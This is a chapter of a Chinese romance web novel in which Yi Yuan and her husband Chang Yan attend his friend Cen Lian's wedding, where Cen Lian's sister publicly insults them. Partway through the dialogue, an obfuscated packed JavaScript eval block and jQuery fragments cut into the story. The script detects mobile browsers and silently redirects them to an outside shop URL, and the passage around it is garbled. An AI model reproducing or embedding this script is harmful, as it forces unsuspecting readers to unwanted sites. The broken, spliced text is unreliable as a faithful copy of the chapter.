19. 第十九章 宴会
作品:《引春光(先婚后爱)》 一场暴雨连着下了几日,院中的杏花被打得七零八落,雨刚停,小於菟湿着脚踩上铺满水的石凳子,聚精会神地监督下人们拿扫帚将残花败枝扫作一堆。
常府大门外停靠一辆马车,窗沿上挂着的“常”字木牌摇摇欲坠,因下过一场雨,地面湿漉漉的,一大摊积水反照出一男一女的身影。
冬青扶着易鸢上了马车,常砚拘着手紧随其后。
今日是东郊岑府大公子的大喜之日,常砚收到请帖应约参加。
马车后面跟着一辆货车,是常府带的贺礼。
听闻常砚与岑家长子岑敛自幼交好,两人家境相似,抱负一致,还是同一年入仕,是难得的知己。
最好的兄弟大婚,贺礼自然不能逊色。后面那一车东西是易鸢花了三日时间经过多番打听岑敛及其妻子的喜好,最终搜罗出来的有趣礼物。
这么珍重的礼物,足够彰显常砚对岑敛的重视了吧,这样秦娘就挑不出易鸢的错处,她可以少听些训斥之言。
“这几日我不在府上,辛苦你为我搜寻这些。”常砚道。
他面上没什么表情,语气也淡淡的。
两人对立而坐,易鸢见他这般冷淡,也只简单点头。
她心里有些不是滋味。
常砚离府五日不曾归家,若不是为了参加岑府的婚宴,他也不会早早赶回府。
身为他人妻,竟全然不知夫君动向,常砚宁愿告诉小厮都不愿遣人送信告知她一声!
就算没有夫妻之情,也有夫妻之实,做做表面功夫都不会吗。
自己如此气恼,一定是害怕她与常砚的假恩爱被人发现,嗯,一定是这样,不然自己没理由这么生气难过,她想。
常砚瞧着对面女子心情不佳,柔声道:“近日可有什么让你不舒心的事?”
还用你问。
易鸢故意不看他,用手指了指自己,敷衍地竖起一个大拇指:我,很好。
她这是怎么了?
常砚试图多挑几个话题让易鸢回答,以此来检验这些时日的成果,谁料易鸢兴致缺缺,胡乱打几个手势应付他的话。
易鸢的敷衍了事,让常砚没了再挑话题的勇气,他不再发言,任由安静占据马车内的空间。
很快,外界的锣鼓喧天代替了原本的安静,鞭炮的无限轰鸣声促使马车强行停下。
岑府府邸灯笼高悬,红绸缠柱,随风飘动,映得满院通红。周围人声嘈杂,易鸢揭开帘子闻声看去,四方而来的宾客高声欢笑,相互催促着一同进府,眼前一派喜庆之象。
常砚先她一步下车,抬臂托住易鸢,自然而然地牵住她的手,朝门口走。
易鸢感受着手心不属于自己的温度,心一紧,脚步放慢,又被那人轻轻一拉,被迫跟了上去。
婚宴的男主人一脸恶趣地看向常砚,两人相视一笑,眼中尽是调侃之意。而后岑敛又将视线转向他身旁乖巧安静的女子脸上,嘴角下意识勾起。
真是郎才女貌,常九思的眼光真不输他。
“常九思,我在这站得腿都酸了,皆是为了等你。”岑敛咳嗽两声,假意锤了锤腿,表情痛苦,同时又伸出手道:“礼呢?”
“别装了。”
常砚无情拆破他的小把戏,他便真不装了,笑意深了几分,说:“今日不给点好处,这岑府的大门你怕是进不了了。”
常砚道:“我呢,只准备了份薄礼,你要收礼去问我夫人,她忙了好几日,备了整整一车好东西送给你们。”
此话一出,岑敛两眼放光,用力将常砚推至一旁,站到易鸢身边,“嫂子,这般破费,不好吧?”
话是这样说,此人却眉眼弯弯,激动地合不拢嘴。
“也不怕牙齿着了风寒。”常砚轻笑着调侃。
岑敛“啧”一声,骂道:“说什么呢,今日是我大喜之日,多说吉利话。”
岑敛又道:“况且又不是不还你,过几日你生辰,我给你和嫂子送两大车礼物,吓死你。”
易鸢迟疑,常砚要过生辰了?都未听他提起过。
想来,她并不知晓他的生辰是多久。
“两车看似塞得满当,实际将礼物放在最上面充数,下面全塞的是稻草。”
易鸢被常砚的话逗乐,她下意识捂嘴笑起来。
笑之余还不忘观察眼前之人,长得眉清目秀,和常砚是截然不同的英俊,看起来比他年岁更小。一袭红衣加身,为他添了几分成熟之气。
易鸢朝身后的马车指了指,眼底笑意不减。
“贺礼都在后面那架马车上,自己去搬。”常砚替易鸢解释。
“你慢慢搬,我带她先进去。”
岑敛回道:“好,一会见。”
话毕,他重新牵起易鸢的手往府内走去。
在外,他们是如此亲昵,仿佛真是一对恩爱不疑的小夫妻。
为什么能如此自然地牵起易鸢的手,他不太清楚,当常砚反应过来两人手拉着手越过众宾客时,他忽地感觉周身有些发热,尤其是耳朵。
大概想牵,便牵了。
在外他们是夫妻,有名正言顺的理由可以牵起她的手。
正堂内,两侧的席子坐满了宾客,男子们以酒交友,起身相敬,将酒一饮而尽。深闺小姐两两成对,交头接耳,小声议论着中央正在举行拜堂礼的新婚夫妻。
无数祝福声中,对立鞠躬的小夫妻完成所有仪式,身披红盖头的女子被送入洞房,男子则留下来同大家举杯饮酒。
岑敛将一瓶未开封的新酒递到常砚面前,扬声道:“来来来,九思,今日十分特殊,你得同我好好喝上几杯。”
先前为了应付别的宾客,岑敛已然喝得有些迷糊,他将常砚的酒杯倒满,懒洋洋地说:“我俩真是好兄弟,两月前你大婚,现下我又成婚,我们不做一辈子兄弟真说不过去。”
他把酒大口喝下,动身想抱住常砚,却被对方一把推开。
“我有点嫌弃酒鬼。”常砚淡淡道。
他俩的对话总是这般有意思,坐在他身侧的易鸢不禁抿嘴笑。
愈发醉得厉害的岑敛变得口无遮拦,他再次推开常砚,靠向易鸢。
马上要挨到易鸢之际,常砚将她护在自己怀里,问道:“你干嘛。”
那人举起左手,示意易鸢离他近些,见易鸢不动,他也不计较,用自以为很少的声音对易鸢说:“嫂子,我本以为你嫁给他会独守空房一辈子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312655|197722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,毕竟他这样不近女色的男子,是很绝情的!没想到才两个月你就将他拿下了。”
话未尽,傻笑一番,继续道:“我真佩服你,怎么做到的?”
常砚嫌弃地将他推开,平静地说:“他喝多了,别当真。”
岑敛努力站住脚跟,声音大了几分,“嫂子!你们好好在一起!不要管我家的小妹。”
“我...我家小妹年少不懂事,很快就会想明白的,嫂子,你切勿多想...”
易鸢没来得及细想他说的话,他又一惊一乍起来。
岑敛拍了拍自己的胸脯,欲再次发言,被桌角绊一下,踉跄一下向后倒,恰好倒在一女子身上。
那女子生得娇俏,眉眼间却带着不屑,满眼不耐烦地将岑敛推给她身旁的小厮。
“阿兄这是喝了多少?去,赶紧让他滚去圆房。”
那小厮勉强着接下这位人高马大的男子,颤颤巍巍回道:“是。”
“许久不见,阿砚哥哥。”
岑悦端起酒杯一饮而尽,目光紧盯对方。
“这便是阿砚哥哥的夫人吧?看着年纪尚小,我觉得我叫姐姐更合适。”她道。
此女子言辞委婉,话里话外却是不满。
易鸢想到她方才称岑敛为“阿兄”,又联想到岑敛口中那位“小妹”,这莫不是同一个人。
“许久不见。”
易鸢感受到常砚搂着自己的手紧了些,顿时有些羞涩。
见两人如此亲密,岑悦的不满逐渐表露出来,冷眼看着易鸢说:“我本以为阿砚哥哥为人清正,不是那等贪图权势之人,如今倒是我看错了。”
“你看她身份高贵,家世显赫,便愿意去做那世间男子皆不齿的接盘侠?”
易鸢知晓她对自己恶意满满,却没想这么厌恶,大庭广众之下,言辞犀利地将得罪人的话说出来。
周围把酒言欢的宾客暂停了与他人的交流,一齐往这边看来。
正堂内顿时鸦雀无声。
岑敛的小妹和常砚到底有多大的仇,多大的怨,让她不顾脸面说出这样的话。
易鸢内心没有窘迫和害怕,只有对知晓两人关系的渴望。
反正她名声已经够差了,这点攻击对她来说不算什么。
倒是常砚......
常砚是个读书人,应该最受不了这种败坏他声誉的话吧。
她本想无视岑悦的话,直接带常砚离开,谁曾想这个男子稳站原地,拉都拉不动,她只好被迫回到他身边。
常砚安抚地摸摸她的头,又将她揽入怀中。
又是众目睽睽之下......私底下疏离得跟陌生人似的,一到这种人多的地方,常砚就爱搂搂抱抱,做些让易鸢措不及防的举动,使她不受控制地红了脸。
岑悦冷哼一声,偏过头,眼中积满泪水。
“我什么时候说过自己清正廉洁?”
“我和你没有一点关系,你不过是我友人之妹,仅此而已,又何来看错一说。”
四周唏嘘,小声猜测在场三人是何关系。
常砚语气很淡,话语间却又带着锋利。
“我心悦于她,何其有幸得以与她成婚。”

